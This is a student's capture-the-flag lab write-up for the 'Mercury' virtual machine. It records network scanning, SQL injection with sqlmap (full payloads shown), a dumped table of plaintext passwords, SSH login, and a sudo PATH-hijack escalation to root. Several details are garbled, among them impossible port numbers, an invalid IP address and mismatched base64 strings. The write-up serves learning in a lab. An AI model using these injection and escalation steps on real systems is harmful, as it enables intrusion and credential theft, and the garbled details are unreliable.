

Lab #2- Mercury Report

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Introduction

For this lab the objective is to find two flags. My setup includes using the virtualbox hypervisor with the Mercury.ova file installed and imported. I'm using Kali-Red as my attack machine running on a separate VM on my hypervisor.

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Step 1

I will start by fetching the IP address on the victim machine. Since the IP address is on the same network as my Kali-Red attack machine this shouldn't be a smooth process. The command I used here is **sudo arp-scan -l**

```
(student@red)-[~]
$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:ae:e5:d9, IPv4: 172.30.0.109
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
172.30.0.1      0a:00:27:00:00:10      (Unknown: locally administered)
172.30.0.108    08:00:27:bb:5e:53      (Unknown)
172.30.0.254    08:00:27:ac:1e:57      (Unknown)
```

*Results of the **sudo arp-scan -l** command*

I will now use nmap to help me with identifying the three IP addresses that I've found. Starting with the first one I've noticed it says pfSense.home.arpa, It's safe to assume that that's the firewall. The second IP address listed resulted in All 1000 scanned ports in an ignored state.

```
(student@red)-[~]
$ nmap -sV --top-ports 20 172.30.0.108
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-21 14:20 EDT
Nmap scan report for 172.30.0.108
Host is up (0.0020s latency).

```

PORT	STATE	SERVICE	VERSION
1/tcp	closed	ftp	
2/tcp	open	ssh	OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
3/tcp	closed	telnet	
5/tcp	closed	smtp	
3/tcp	closed	domain	
40/tcp	closed	http	
10/tcp	closed	pop3	
11/tcp	closed	rpcbind	
35/tcp	closed	msrpc	
39/tcp	closed	netbios-ssn	
43/tcp	closed	imap	
43/tcp	closed	https	
45/tcp	closed	microsoft-ds	
93/tcp	closed	imaps	
95/tcp	closed	pop3s	
723/tcp	closed	pptp	
306/tcp	closed	mysql	
389/tcp	closed	ms-wbt-server	
900/tcp	closed	vnc	
8080/tcp	open	http-proxy	WSGIServer/0.2 CPython/3.8.2

```

service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
_
F:Port8080-TCP:V=7.94SVN|I=7&D=10/21|Time=67169B5EXP=x86_64-pc-linux-gnu|
F:r(GetRequest,135,"HTTP/1.\x20200\x200K\r\nDate:\x20Mon,\x2021\x20Oct\
F:\x202020\x2018:20:16\x20GMT\r\nServer:\x20WSGIServer/0.\x2020CPython/3.\
F:8).\x20\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-Frame-Options
```

*Results of the **nmap** scans*


Step 2

The scanning results revealed to me that two services are running on the virtual machine. These two services are http port 8080 and ssh service port 22. I'll precede checking the webpage in the browser by inputting this command into the browser: **http://172.30.0.108:8080/**



*** http://172.30.0.108:8080/ command***

When I entered this command the results were “Hello. This site is currently in development please check back later.”



Further, I used Dirb to scan the web directories, it scans the hidden as well as available web directories. The command I entered was “**dirb http://172.30.0.108/**”

```
START_TIME: Mon Oct 21 15:26:44 2024
URL_BASE: http://172.30.0.108:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----

GENERATED WORDS: 4612

----- Scanning URL: http://172.30.0.108:8080/ -----
+ http://172.30.0.108:8080/robots.txt (CODE:200|SIZE:26)


-----

END_TIME: Mon Oct 21 15:27:25 2024
DOWNLOADED: 4612 - FOUND: 1

(student@red)-[~]
$
```

The image above is the dirb command


As a result of the Directory scan, we obtained the /robots.txt directory. I then went exploring further into this directory.



The image above is the blank robots.txt page


The robots.txt file was empty. I attempted to uncover additional files and directories using various other tools, but my efforts were unsuccessful. As I kept troubleshooting, I inserted an asterisk (*) into the URL. This action triggered an error page, which unexpectedly revealed a new path: /mercuryfacts.

The command that was entered looked like this “273.30.0.208:8080/*”




Page that rendered when asterisks was inputted

When I opened the mercury facts directory, I found a hyperlink consisting a fact. I then clicked on load a fact.



Mercury Facts rendered page

When I accessed the provided link, I encountered a page displaying Fact id:1. This led me to suspect that the information was being pulled from a database. Given this structure, I hypothesized that the page might be susceptible to SQL injection attacks. I started to investigate this hypothesis further.




Step 3

Since I believed the page could be vulnerable to SQL injection, I went and used the "--dbs"

which enumerates the database, and “--batch” which allows SQLMap to run continuously without pausing to ask for decisions. The command looked like this:

sql -u http://172.30.0.108:8080/mercuryfacts/ -dbs -batch



```

[student@red]~$ sqlmap -u http://172.30.0.108:8080/mercuryfacts/ --dbs --batch

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. The developer and I am not responsible for any misuse or damage caused by this program


[*] starting @ 18:46:34 /2024-10-21/

[18:46:35] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] Y
[18:46:35] [INFO] testing connection to the target URL
[18:46:35] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:46:35] [INFO] testing if the target URL content is stable
[18:46:35] [INFO] target URL content is stable
[18:46:35] [INFO] testing if URI parameter '#1*' is dynamic
[18:46:35] [INFO] got a 301 redirect to 'http://172.30.0.108:8080/mercuryfacts/5253/'. Do you want to follow? [Y/n] Y
[18:46:35] [INFO] URI parameter '#1*' appears to be dynamic
[18:46:36] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[18:46:36] [INFO] testing for SQL injection on URI parameter '#1*'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[18:46:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:46:36] [WARNING] reflective value(s) found and filtering out
[18:46:36] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:46:36] [INFO] testing 'Generic inline queries'
[18:46:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[18:46:36] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[18:46:36] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[18:46:36] [INFO] testing 'MySQL-Blind boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'

```

****sql -u http://172.30.0.108:8080/mercuryfacts/ -dbs -batch command****

Following the successful data extraction, we uncovered two databases. Upon examination, the database named “mercury” appeared to contain more relevant information.



```

Payload: http://172.30.0.108:8080/mercuryfacts/~3816 UNION ALL SELECT CONCAT(0x716b707071,0x54526c6441356656761756d4a6c71545a7643636a614a54584b544f67537a6a4d514c69476c4869,0x716a7a7671)#

[18:50:48] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[18:50:48] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] mercury

[18:50:48] [INFO] fetched data logged to text files under '/home/student/.local/share/sqlmap/output/172.30.0.108'

[*] ending @ 18:50:48 /2024-10-21/

```

****image documents encountering two databases****

Having confirmed the page's vulnerability to SQL injection, I proceeded to extract all available contents from the mercury database using the following command:

sqlmap-u http://172.30.0.108:8080/mercuryfacts -D mercury --dumppall --batch



```

--(student@red)-[~]
$ sqlmap -u http://172.30.0.108:8080/mercuryfacts/ -D mercury --dumppall --batch

[+] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:27:15 /2024-10-21/

[19:27:15] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
o you want to try URI injections in the target URL itself? [Y/n/q] Y
[19:27:15] [INFO] resuming back-end DBMS 'mysql'
[19:27:15] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: #1* (URI)
Type: error-based
Title: MySQL > 5.6 error-based - Parameter replace (GTID_SUBSET)
Payload: http://172.30.0.108:8080/mercuryfacts/GTID_SUBSET(CONCAT(0x716b707071,(SELECT (ELT(6334=6334,1))),0x716a7a7671),6334)

Type: time-based blind
Title: MySQL > 5.0.12 time-based blind - Parameter replace
Payload: http://172.30.0.108:8080/mercuryfacts/(CASE WHEN (7041=7041) THEN SLEEP(5) ELSE 7041 END)

Type: UNION query
Title: MySQL UNION query (random number) - 1 column
Payload: http://172.30.0.108:8080/mercuryfacts/-3816 UNION ALL SELECT CONCAT(0x716b707071,0x54526c64414356656761756d4a671545a7643636a614a54584b544f67537a6a4d514c69476c4869,0x716a7a7671)#
  
```

Image shows command input into shell

The extraction revealed four entries in a table named “users”. When I used the –dumppall option in my command prompt I was able to get a list of all databases, all tables content along with user names and password. And the fourth entry seems peculiar.



```

Database: mercury
Table: users
[4 entries]
+-----+-----+-----+
| id | password | username |
+-----+-----+-----+
| 1 | johnny1987 | john |
| 2 | lovemykids111 | laura |
| 3 | lovemybeer111 | sam |
| 4 | mercuryisthesizeof0.056Earths | webmaster |
+-----+-----+-----+
  
```

**Image shows the four usernames and passwords in the ‘users’ table **

Moving further the previous port scan results that I used in the beginning gave me two open ports, one of the ports was ssh. I will use ssh service to login into the user “webmaster” using this command: `ssh webmaster@172.30.0.108`

Once logged in my interface looked like this

```
(student@red)-[~]
$ ssh webmaster@172.30.0.108
The authenticity of host '172.30.0.108 (172.30.0.108)' can't be established.
ED25519 key fingerprint is SHA256:mHhKDLhyH54cYFlptygnwr7NYpEtepsNhVAT8qzqcUk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '172.30.0.108' (ED25519) to the list of known hosts.
webmaster@172.30.0.108's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Mon 21 Oct 23:40:43 UTC 2024

System load:  0.08               Processes:            97
Usage of /:   70.1% of 4.86GB    Users logged in:     0
Memory usage: 28%               IPv4 address for enp0s3: 172.30.0.108
Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

22 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Aug 24 21:01:21 2024 from 172.30.0.201
webmaster@mercury:~$
```

Image of ssh connection to webmaster

When I put in the password obtained from the extracted entries, I successfully logged in as the webmaster user. I made sure to confirm my access. I used the 'id' command to verify the user and group names, along with their numeric IDs (UID or group ID) for the current user and other users on the server. I then employed the 'ls' command to display the contents of the directory. This revealed the presence of a file named user_flag.txt. I then proceeded to view its contents using the 'cat' command, which unveiled the first user flag.

```
The list of available updates is more than a week old.  
To check for new updates run: sudo apt update  
  
Last login: Sat Aug 24 21:01:21 2024 from 172.30.0.201  
webmaster@mercury:~$ id  
uid=1001(webmaster) gid=1001(webmaster) groups=1001(webmaster)  
webmaster@mercury:~$ ls  
mercury_proj  user_flag.txt  
webmaster@mercury:~$ cat user_flag.txt  
[user_flag_8339915c9a454657bd60ee58776f4ccd]  
webmaster@mercury:~$
```

** Content in the user_flag.txt file **

After this I'll open the directory mercury_proj/ by using the command

cd mercury_proj/ > ls > cat notes.txt

```
webmaster@mercury:~/mercury_proj$ cat notes.txt  
Project accounts (both restricted):  
webmaster for web stuff - webmaster:bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK  
linuxmaster for linux stuff - linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRLcmIzNDg4MGttCg==  
webmaster@mercury:~/mercury_proj$
```

Image shows “cat notes.txt” command

```
Project accounts (both restricted):  
webmaster for web stuff - webmaster:bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK  
linuxmaster for linux stuff - linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRLcmIzNDg4MGttCg==  
webmaster@mercury:~/mercury_proj$ echo "bWVyY3VyeW1lYW5kaWFtZXRLcmIzNDg4MGttCg==" | base64 -d  
mercurymeandiameteris4880km
```

base 64 used to give plaintext

Now I need to convert the base64 hash into plain text. I will use the echo command as depicted in my next image. Now I see the password for the user linuxmaster in plaintext.

Step 4

I then used the previously enumerated password, and successfully logged in as the linuxmaster

user. I then proceeded to check the sudo privileges for this account. My investigation revealed that linuxmaster has the ability to execute a specific bash script, `/usr/bin/check_syslog.sh`, with root privileges. Notably, this execution occurs in a preserved environment due to the SETENV tag. This configuration could potentially be leveraged for privilege escalation.

```
linuxmaster for linux stuff - linuxmaster:BWVY3VyeW1lYW5kaWFTZXRlcmlzNDg4MGttCg==
webmaster@mercury:~/mercury_proj$ echo "BWVY3VyeW1lYW5kaWFTZXRlcmlzNDg4MGttCg==" | base64 -d
mercurymeandiameteris4880km
webmaster@mercury:~/mercury_proj$ su linuxmaster
Password:
linuxmaster@mercury:/home/webmaster/mercury_proj$ sudo -l
[sudo] password for linuxmaster:
Matching Defaults entries for linuxmaster on mercury:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User linuxmaster may run the following commands on mercury:
    (root : root) SETENV: /usr/bin/check_syslog.sh
linuxmaster@mercury:~/home/webmaster/mercury_proj$
```

Image shows the SETENV tag

I then used the head command reading the script, the script was written to execute the tail program for reading last 10 syslog entries. The command was: ***head -n 5***

/usr/bin/check_syslog.sh

```
User linuxmaster may run the following commands on mercury:
    (root : root) SETENV: /usr/bin/check_syslog.sh
linuxmaster@mercury:/home/webmaster/mercury_proj$ head -n 5 /usr/bin/check_syslog.sh
#!/bin/bash
tail -n 10 /var/log/syslog
linuxmaster@mercury:/home/webmaster/mercury_proj$
```

Image of input for head -n 5 /usr/bin/check_syslog.sh command

The `check_syslog.sh` script can be executed within the preserve environment, which presents an opportunity to exploit the PATH environment variable. My approach involved creating a symbolic link to the vim editor through the tail command, followed by modifying the environment variable. This process was accomplished using the commands

`ln -s /usr/bin/vim tail`

`export PATH=$(pwd) :$PATH`

```
usage: sudo -e [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...
linuxmaster@mercury:~$ sudo --preserve-env=PATH /usr/bin/check_syslog.sh
2 files to edit

root@mercury:/home/linuxmaster#
```

I then entered `cat root_flag.txt`

[illegible]

****Image of Mercury competition****